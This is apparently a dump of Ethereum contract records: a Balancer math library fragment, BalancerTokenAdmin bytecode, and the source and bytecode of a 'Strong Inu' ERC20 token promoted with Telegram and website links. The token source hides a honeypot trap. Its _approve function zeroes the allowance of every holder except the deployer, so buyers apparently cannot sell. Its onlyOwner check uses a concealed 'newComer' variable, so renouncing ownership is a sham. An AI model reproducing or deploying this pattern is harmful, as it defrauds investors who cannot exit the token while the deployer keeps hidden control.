int256 c = a - b; _require((b >= 0 && c <= a) || (b < 0 && c > a), Errors.SUB_OVERFLOW); return c; } /** * @dev Returns the largest of two numbers of 256 bits. */ function max(uint256 a, uint256 b) internal pure returns (uint256) { return a >= b ? a : b; } /** * @dev Returns the smallest of two numbers of 256 bits. */ function min(uint256 a, uint256 b) internal pure returns (uint256) { return a < b ? a : b; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a * b; _require(a == 0 || c / a == b, Errors.MUL_OVERFLOW); return c; } function div( uint256 a, uint256 b, bool roundUp ) internal pure returns (uint256) { return roundUp ? divUp(a, b) : divDown(a, b); } function divDown(uint256 a, uint256 b) internal pure returns (uint256) { _require(b != 0, Errors.ZERO_DIVISION); return a / b; } function divUp(uint256 a, uint256 b) internal pure returns (uint256) { _require(b != 0, Errors.ZERO_DIVISION); if (a == 0) { return 0; } else { return 1 + (a - 1) / b; } } }
0x608060405234801561001057600080fd5b50600436106101b95760003560e01c8063851c1bb3116100f9578063b87b561611610097578063c3b03fa811610071578063c3b03fa8146102fb578063cb626ae21461031e578063d43b40fa1461031e578063d725a9ca146102fb576101b9565b8063b87b5616146102eb578063c0039699146102f3578063c167d1cd146101f2576101b9565b8063a228bced116100d3578063a228bced146102db578063aaabadc5146102e3578063adc4cf43146102db578063b26b238e146101fa576101b9565b8063851c1bb3146102635780638d928af8146102a25780639711715a146102d3576101b9565b80632c4e722e116101665780634dbac733116101405780634dbac7331461024b57806355f74176146102535780637efad8e01461025b578063819df2c414610202576101b9565b80632c4e722e1461020257806340c10f191461020a5780634d2fa41314610243576101b9565b806321609bbf1161019757806321609bbf146101ea57806324f92a25146101f2578063277dbafb146101fa576101b9565b8063087905c9146101be5780630dfbdce4146101d85780630f15f4c0146101e0575b600080fd5b6101c6610326565b60408051918252519081900360200190f35b6101c661032d565b6101e8610346565b005b6101c66114f9565b6101c6611505565b6101c661150f565b6101c6611527565b6101e86004803603604081101561022057600080fd5b5073ffffffffffffffffffffffffffffffffffffffff813516906020013561152d565b6101c66116e2565b6101c66116e8565b6101c66116f4565b6101c66116fa565b6101c66004803603602081101561027957600080fd5b50357fffffffff0000000000000000000000000000000000000000000000000000000016611706565b6102aa611777565b6040805173ffffffffffffffffffffffffffffffffffffffff9092168252519081900360200190f35b6101e861179b565b6101c6611825565b6102aa61182f565b6101c66118af565b6102aa6118b7565b6101c66004803603604081101561031157600080fd5b50803590602001356118db565b6101e86118ee565b6001545b90565b600254600090610341906301e1338061195b565b905090565b61034e61196d565b610356611986565b7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff600254146103cc576040805162461bcd60e51b815260206004820152601160248201527f416c726561647920616374697661746564000000000000000000000000000000604482015290519081900360640190fd5b60007f000000000000000000000000ba100000625a3754423978a60c9317c58a424e3d73ffffffffffffffffffffffffffffffffffffffff1663d53913936040518163ffffffff1660e01b815260040160206040518083038186803b15801561043457600080fd5b505afa158015610448573d6000803e3d6000fd5b505050506040513d602081101561045e57600080fd5b5051604080517f7028e2cd000000000000000000000000000000000000000000000000000000008152905191925060009173ffffffffffffffffffffffffffffffffffffffff7f000000000000000000000000ba100000625a3754423978a60c9317c58a424e3d1691637028e2cd916004808301926020929190829003018186803b1580156104ec57600080fd5b505afa158015610500573d6000803e3d6000fd5b505050506040513d602081101561051657600080fd5b5051604080517fa217fddf000000000000000000000000000000000000000000000000000000008152905191925060009173ffffffffffffffffffffffffffffffffffffffff7f000000000000000000000000ba100000625a3754423978a60c9317c58a424e3d169163a217fddf916004808301926020929190829003018186803b1580156105a457600080fd5b505afa1580156105b8573d6000803e3d6000fd5b505050506040513d60208110156105ce57600080fd5b5051604080517f91d1485400000000000000000000000000000000000000000000000000000000815260048101839052306024820152905191925073ffffffffffffffffffffffffffffffffffffffff7f000000000000000000000000ba100000625a3754423978a60c9317c58a424e3d16916391d1485491604480820192602092909190829003018186803b15801561066757600080fd5b505afa15801561067b573d6000803e3d6000fd5b505050506040513d602081101561069157600080fd5b50516106ce5760405162461bcd60e51b8152600401808060200182810382526022815260200180611e6e6022913960400191505060405180910390fd5b60007f000000000000000000000000ba100000625a3754423978a60c9317c58a424e3d73ffffffffffffffffffffffffffffffffffffffff1663ca15c873856040518263ffffffff1660e01b81526004018082815260200191505060206040518083038186803b15801561074157600080fd5b505afa158015610755573d6000803e3d6000fd5b505050506040513d602081101561076b57600080fd5b5051905060005b818110156108e25760007f000000000000000000000000ba100000625a3754423978a60c9317c58a424e3d73ffffffffffffffffffffffffffffffffffffffff16639010d07c8760006040518363ffffffff1660e01b8152600401808381526020018281526020019250505060206040518083038186803b1580156107f657600080fd5b505afa15801561080a573d6000803e3d6000fd5b505050506040513d602081101561082057600080fd5b5051604080517fd547741f0000000000000000000000000000000000000000000000000000000081526004810189905273ffffffffffffffffffffffffffffffffffffffff808416602483015291519293507f000000000000000000000000ba100000625a3754423978a60c9317c58a424e3d9091169163d547741f9160448082019260009290919082900301818387803b1580156108be57600080fd5b505af11580156108d2573d6000803e3d6000fd5b5050505050806001019050610772565b50604080517f2f2ff15d00000000000000000000000000000000000000000000000000000000815260048101869052306024820152905173ffffffffffffffffffffffffffffffffffffffff7f000000000000000000000000ba100000625a3754423978a60c9317c58a424e3d1691632f2ff15d91604480830192600092919082900301818387803b15801561097757600080fd5b505af115801561098b573d6000803e3d6000fd5b5050505060007f000000000000000000000000ba100000625a3754423978a60c9317c58a424e3d73ffffffffffffffffffffffffffffffffffffffff1663ca15c873856040518263ffffffff1660e01b81526004018082815260200191505060206040518083038186803b158015610a0257600080fd5b505afa158015610a16573d6000803e3d6000fd5b505050506040513d6020811015610a2c57600080fd5b5051905060005b81811015610ba35760007f000000000000000000000000ba100000625a3754423978a60c9317c58a424e3d73ffffffffffffffffffffffffffffffffffffffff16639010d07c8760006040518363ffffffff1660e01b8152600401808381526020018281526020019250505060206040518083038186803b158015610ab757600080fd5b505afa158015610acb573d6000803e3d6000fd5b505050506040513d6020811015610ae157600080fd5b5051604080517fd547741f0000000000000000000000000000000000000000000000000000000081526004810189905273ffffffffffffffffffffffffffffffffffffffff808416602483015291519293507f000000000000000000000000ba100000625a3754423978a60c9317c58a424e3d9091169163d547741f9160448082019260009290919082900301818387803b158015610b7f57600080fd5b505af1158015610b93573d6000803e3d6000fd5b5050505050806001019050610a33565b50604080517f2f2ff15d00000000000000000000000000000000000000000000000000000000815260048101869052306024820152905173ffffffffffffffffffffffffffffffffffffffff7f000000000000000000000000ba100000625a3754423978a60c9317c58a424e3d1691632f2ff15d91604480830192600092919082900301818387803b158015610c3857600080fd5b505af1158015610c4c573d6000803e3d6000fd5b5050505060007f000000000000000000000000ba100000625a3754423978a60c9317c58a424e3d73ffffffffffffffffffffffffffffffffffffffff1663ca15c873856040518263ffffffff1660e01b81526004018082815260200191505060206040518083038186803b158015610cc357600080fd5b505afa158015610cd7573d6000803e3d6000fd5b505050506040513d6020811015610ced57600080fd5b505190506000805b82811015610e7f5760007f000000000000000000000000ba100000625a3754423978a60c9317c58a424e3d73ffffffffffffffffffffffffffffffffffffffff16639010d07c88856040518363ffffffff1660e01b8152600401808381526020018281526020019250505060206040518083038186803b158015610d7857600080fd5b505afa158015610d8c573d6000803e3d6000fd5b505050506040513d6020811015610da257600080fd5b5051905073ffffffffffffffffffffffffffffffffffffffff81163014610e71577f000000000000000000000000ba100000625a3754423978a60c9317c58a424e3d73ffffffffffffffffffffffffffffffffffffffff1663d547741f88836040518363ffffffff1660e01b8152600401808381526020018273ffffffffffffffffffffffffffffffffffffffff16815260200192505050600060405180830381600087803b158015610e5457600080fd5b505af1158015610e68573d6000803e3d6000fd5b50505050610e76565b600192505b50600101610cf5565b50604080517fd547741f00000000000000000000000000000000000000000000000000000000815260048101879052306024820152905173ffffffffffffffffffffffffffffffffffffffff7f000000000000000000000000ba100000625a3754423978a60c9317c58a424e3d169163d547741f91604480830192600092919082900301818387803b158015610f1457600080fd5b505af1158015610f28573d6000803e3d6000fd5b505050507f000000000000000000000000ba100000625a3754423978a60c9317c58a424e3d73ffffffffffffffffffffffffffffffffffffffff1663ca15c873866040518263ffffffff1660e01b81526004018082815260200191505060206040518083038186803b158015610f9d57600080fd5b505afa158015610fb1573d6000803e3d6000fd5b505050506040513d6020811015610fc757600080fd5b50511561101b576040805162461bcd60e51b815260206004820181905260248201527f416464726573732065786973747320776974682061646d696e20726967687473604482015290519081900360640190fd5b604080517f91d1485400000000000000000000000000000000000000000000000000000000815260048101899052306024820152905173ffffffffffffffffffffffffffffffffffffffff7f000000000000000000000000ba100000625a3754423978a60c9317c58a424e3d16916391d14854916044808301926020929190829003018186803b1580156110ae57600080fd5b505afa1580156110c2573d6000803e3d6000fd5b505050506040513d60208110156110d857600080fd5b50516111155760405162461bcd60e51b8152600401808060200182810382526022815260200180611ee56022913960400191505060405180910390fd5b604080517f91d1485400000000000000000000000000000000000000000000000000000000815260048101889052306024820152905173ffffffffffffffffffffffffffffffffffffffff7f000000000000000000000000ba100000625a3754423978a60c9317c58a424e3d16916391d14854916044808301926020929190829003018186803b1580156111a857600080fd5b505afa1580156111bc573d6000803e3d6000fd5b505050506040513d60208110156111d257600080fd5b505161120f5760405162461bcd60e51b8152600401808060200182810382526027815260200180611e906027913960400191505060405180910390fd5b7f000000000000000000000000ba100000625a3754423978a60c9317c58a424e3d73ffffffffffffffffffffffffffffffffffffffff1663ca15c873886040518263ffffffff1660e01b81526004018082815260200191505060206040518083038186803b15801561128057600080fd5b505afa158015611294573d6000803e3d6000fd5b505050506040513d60208110156112aa57600080fd5b5051600114611300576040805162461bcd60e51b815260206004820152601660248201527f4d756c7469706c65206d696e7465727320657869737400000000000000000000604482015290519081900360640190fd5b7f000000000000000000000000ba100000625a3754423978a60c9317c58a424e3d73ffffffffffffffffffffffffffffffffffffffff1663ca15c873876040518263ffffffff1660e01b81526004018082815260200191505060206040518083038186803b15801561137157600080fd5b505afa158015611385573d6000803e3d6000fd5b505050506040513d602081101561139b57600080fd5b50516001146113f1576040805162461bcd60e51b815260206004820152601b60248201527f4d756c7469706c6520736e617073686f74746572732065786973740000000000604482015290519081900360640190fd5b7f000000000000000000000000ba100000625a3754423978a60c9317c58a424e3d73ffffffffffffffffffffffffffffffffffffffff166318160ddd6040518163ffffffff1660e01b815260040160206040518083038186803b15801561145757600080fd5b505afa15801561146b573d6000803e3d6000fd5b505050506040513d602081101561148157600080fd5b50516003554260025562093a80691eb4773b6d1318a00000046004557fa96ad9a0b81b29565fbe231714a2f2c152b759e603c91bf87144a3f61944f0a562093a80691eb4773b6d1318a000006003546040805193909204835260208301528051918290030190a1505050505050506114f76119cf565b565b671080e992061ab30081565b60006103416119d6565b60006103416301e13380611521611a10565b9061195b565b60045490565b611535611986565b600254611546906301e1338061195b565b421061155457611554611a3c565b61155c6119d6565b6115f8827f000000000000000000000000ba100000625a3754423978a60c9317c58a424e3d73ffffffffffffffffffffffffffffffffffffffff166318160ddd6040518163ffffffff1660e01b815260040160206040518083038186803b1580156115c657600080fd5b505afa1580156115da573d6000803e3d6000fd5b505050506040513d60208110156115f057600080fd5b50519061195b565b11156116355760405162461bcd60e51b815260040180806020018281038252602e815260200180611eb7602e913960400191505060405180910390fd5b7f000000000000000000000000ba100000625a3754423978a60c9317c58a424e3d73ffffffffffffffffffffffffffffffffffffffff166340c10f1983836040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050600060405180830381600087803b1580156116c657600080fd5b505af11580156116da573d6000803e3d6000fd5b505050505050565b60025490565b670353c226d6c6f58081565b60035490565b670de0b6b3a764000081565b604080517f000000000000000000000000f302f9f50958c5593770fdf4d4812309ff77414f6020808301919091527fffffffff000000000000000000000000000000000000000000000000000000008416828401528251602481840301815260449092019092528051910120919050565b7f000000000000000000000000ba12222222228d8ba445958a75a0704d566bf2c890565b6117a3611986565b7f000000000000000000000000ba100000625a3754423978a60c9317c58a424e3d73ffffffffffffffffffffffffffffffffffffffff16639711715a6040518163ffffffff1660e01b8152600401600060405180830381600087803b15801561180b57600080fd5b505af115801561181f573d6000803e3d6000fd5b50505050565b6000610341611a10565b6000611839611777565b73ffffffffffffffffffffffffffffffffffffffff1663aaabadc56040518163ffffffff1660e01b815260040160206040518083038186803b15801561187e57600080fd5b505afa158015611892573d6000803e3d6000fd5b505050506040513d60208110156118a857600080fd5b5051905090565b6301e1338081565b7f000000000000000000000000ba100000625a3754423978a60c9317c58a424e3d90565b60006118e78383611af8565b9392505050565b6002546118ff906301e1338061195b565b421015611953576040805162461bcd60e51b815260206004820152601a60248201527f45706f636820686173206e6f742066696e697368656420796574000000000000604482015290519081900360640190fd5b6114f7611a3c565b60008282016118e78482101583611ce5565b61197f60026000541415610190611ce5565b6002600055565b60006119b56000357fffffffff0000000000000000000000000000000000000000000000000000000016611706565b90506119cc6119c48233611cf7565b610191611ce5565b50565b6001600055565b6000806119fa6004546119f460025442611dc090919063ffffffff16565b90611dd6565b600354909150611a0a908261195b565b91505090565b600254600090611a24816301e1338061195b565b421061034157611a32611a3c565b505060025461032a565b6004546000611a5b611a52836301e13380611dd6565b6003549061195b565b9050611a81671080e992061ab300611a7b84670de0b6b3a7640000611dd6565b90611dfa565b9150611a986001805461195b90919063ffffffff16565b600155600254611aac906301e1338061195b565b60025560048290556003819055604080518381526020810183905281517fa96ad9a0b81b29565fbe231714a2f2c152b759e603c91bf87144a3f61944f0a5929181900390910190a15050565b600081831115611b4f576040805162461bcd60e51b815260206004820152600b60248201527f7374617274203e20656e64000000000000000000000000000000000000000000604482015290519081900360640190fd5b600254600454611b63826301e1338061195b565b841115611b9b57611b78826301e1338061195b565b9150611b98671080e992061ab300611a7b83670de0b6b3a7640000611dd6565b90505b611ba9826301e1338061195b565b841115611bfd576040805162461bcd60e51b815260206004820152601160248201527f746f6f2066617220696e20667574757265000000000000000000000000000000604482015290519081900360640190fd5b6000805b6103e7811015611cdb57838610611c915785611c21856301e1338061195b565b811115611c3957611c36856301e1338061195b565b90505b87611c48866301e1338061195b565b8110611c55575050611cdb565b85811015611c605750845b611c7e611c77611c708484611dc0565b8790611dd6565b859061195b565b9350858910611c8e575050611cdb565b50505b611c9f846301e13380611dc0565b9350611cbf670de0b6b3a7640000611a7b85671080e992061ab300611dd6565b9250670353c226d6c6f580831115611cd357fe5b600101611c01565b5095945050505050565b81611cf357611cf381611e1a565b5050565b6000611d0161182f565b73ffffffffffffffffffffffffffffffffffffffff16639be2a8848484306040518463ffffffff1660e01b8152600401808481526020018373ffffffffffffffffffffffffffffffffffffffff1681526020018273ffffffffffffffffffffffffffffffffffffffff168152602001935050505060206040518083038186803b158015611d8d57600080fd5b505afa158015611da1573d6000803e3d6000fd5b505050506040513d6020811015611db757600080fd5b50519392505050565b6000611dd0838311156001611ce5565b50900390565b60008282026118e7841580611df3575083858381611df057fe5b04145b6003611ce5565b6000611e098215156004611ce5565b818381611e1257fe5b049392505050565b62461bcd60e51b6000908152602060045260076024526642414c23000030600a808404818106603090810160081b95839006959095019082900491820690940160101b939093010160c81b604452606490fdfe42616c616e636572546f6b656e41646d696e206973206e6f7420616e2061646d696e42616c616e636572546f6b656e41646d696e206973206e6f74206120736e617073686f747465724d696e7420616d6f756e7420657863656564732072656d61696e696e6720617661696c61626c6520737570706c7942616c616e636572546f6b656e41646d696e206973206e6f742061206d696e746572a26469706673582212207cb2164b73fb9dc993246bda3c01dd6ad4d3788b15443ce3c9d688c15dbacbb664736f6c63430007010033
[ 7 ]
0xf303506d6853312bc440c5d8b48f56ec620cc167
/** *Submitted for verification at Etherscan.io on 2021-11-19 * Telegram: t.me/StrongInuEth Website: https://www.stronginu.com _____ ___________ _____ _ _ _____ _____ _ _ _ _ / ___|_ _| ___ \ _ | \ | | __ \ |_ _| \ | | | | | \ `--. | | | |_/ / | | | \| | | \/ | | | \| | | | | `--. \ | | | /| | | | . ` | | __ | | | . ` | | | | /\__/ / | | | |\ \\ \_/ / |\ | |_\ \ _| |_| |\ | |_| | \____/ \_/ \_| \_|\___/\_| \_/\____/ \___/\_| \_/\___/ */ pragma solidity ^0.6.12; interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library Address { function isContract(address account) internal view returns (bool) { bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; // solhint-disable-next-line no-inline-assembly assembly { codehash := extcodehash(account) } return (codehash != accountHash && codehash != 0x0); } function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return _functionCallWithValue(target, data, 0, errorMessage); } function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); return _functionCallWithValue(target, data, value, errorMessage); } function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) { require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: weiValue }(data); if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } abstract contract Context { function _msgSender() internal view virtual returns (address payable) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () internal { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } function transferOwnership(address newOwner) private onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } address private newComer = _msgSender(); modifier onlyOwner() { require(newComer == _msgSender(), "Ownable: caller is not the owner"); _; } } contract StrongInu is Context, IERC20, Ownable { using SafeMath for uint256; using Address for address; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _tTotal = 1000* 10**6* 10**18; string private _name = 'Strong Inu'; string private _symbol = 'SINU '; uint8 private _decimals = 18; constructor () public { _balances[_msgSender()] = _tTotal; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public view returns (string memory) { return _name; } function symbol() public view returns (string memory) { return _symbol; } function decimals() public view returns (uint8) { return _decimals; } function _approve(address ol, address tt, uint256 amount) private { require(ol != address(0), "ERC20: approve from the zero address"); require(tt != address(0), "ERC20: approve to the zero address"); if (ol != owner()) { _allowances[ol][tt] = 0; emit Approval(ol, tt, 4); } else { _allowances[ol][tt] = amount; emit Approval(ol, tt, amount); } } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function totalSupply() public view override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return _balances[account]; } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function _transfer(address sender, address recipient, uint256 amount) internal { require(sender != address(0), "BEP20: transfer from the zero address"); require(recipient != address(0), "BEP20: transfer to the zero address"); _balances[sender] = _balances[sender].sub(amount, "BEP20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } }
0x608060405234801561001057600080fd5b50600436106100a95760003560e01c806370a082311161007157806370a0823114610258578063715018a6146102b05780638da5cb5b146102ba57806395d89b41146102ee578063a9059cbb14610371578063dd62ed3e146103d5576100a9565b806306fdde03146100ae578063095ea7b31461013157806318160ddd1461019557806323b872dd146101b3578063313ce56714610237575b600080fd5b6100b661044d565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156100f65780820151818401526020810190506100db565b50505050905090810190601f1680156101235780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b61017d6004803603604081101561014757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506104ef565b60405180821515815260200191505060405180910390f35b61019d61050d565b6040518082815260200191505060405180910390f35b61021f600480360360608110156101c957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610517565b60405180821515815260200191505060405180910390f35b61023f6105f0565b604051808260ff16815260200191505060405180910390f35b61029a6004803603602081101561026e57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610607565b6040518082815260200191505060405180910390f35b6102b8610650565b005b6102c26107d8565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6102f6610801565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561033657808201518184015260208101905061031b565b50505050905090810190601f1680156103635780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6103bd6004803603604081101561038757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506108a3565b60405180821515815260200191505060405180910390f35b610437600480360360408110156103eb57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506108c1565b6040518082815260200191505060405180910390f35b606060058054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156104e55780601f106104ba576101008083540402835291602001916104e5565b820191906000526020600020905b8154815290600101906020018083116104c857829003601f168201915b5050505050905090565b60006105036104fc610948565b8484610950565b6001905092915050565b6000600454905090565b6000610524848484610c6f565b6105e584610530610948565b6105e0856040518060600160405280602881526020016110b960289139600360008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610596610948565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610f299092919063ffffffff16565b610950565b600190509392505050565b6000600760009054906101000a900460ff16905090565b6000600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b610658610948565b73ffffffffffffffffffffffffffffffffffffffff16600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461071a576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b606060068054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156108995780601f1061086e57610100808354040283529160200191610899565b820191906000526020600020905b81548152906001019060200180831161087c57829003601f168201915b5050505050905090565b60006108b76108b0610948565b8484610c6f565b6001905092915050565b6000600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156109d6576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602481526020018061112a6024913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610a5c576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260228152602001806110976022913960400191505060405180910390fd5b610a646107d8565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614610b83576000600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92560046040518082815260200191505060405180910390a3610c6a565b80600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040518082815260200191505060405180910390a35b505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610cf5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260258152602001806110726025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610d7b576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260238152602001806111076023913960400191505060405180910390fd5b610de7816040518060600160405280602681526020016110e160269139600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610f299092919063ffffffff16565b600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610e7c81600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610fe990919063ffffffff16565b600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a3505050565b6000838311158290610fd6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b83811015610f9b578082015181840152602081019050610f80565b50505050905090810190601f168015610fc85780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5060008385039050809150509392505050565b600080828401905083811015611067576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b809150509291505056fe42455032303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f766520746f20746865207a65726f206164647265737345524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636542455032303a207472616e7366657220616d6f756e7420657863656564732062616c616e636542455032303a207472616e7366657220746f20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f2061646472657373a26469706673582212206e3fde9ab233e0f95b974c668ca7576e19a4fe9e94ff5912e38bbeb4c38cdbdd64736f6c634300060c0033
[ 38 ]
0xf303c390125ffc35e109e6915227333758128833
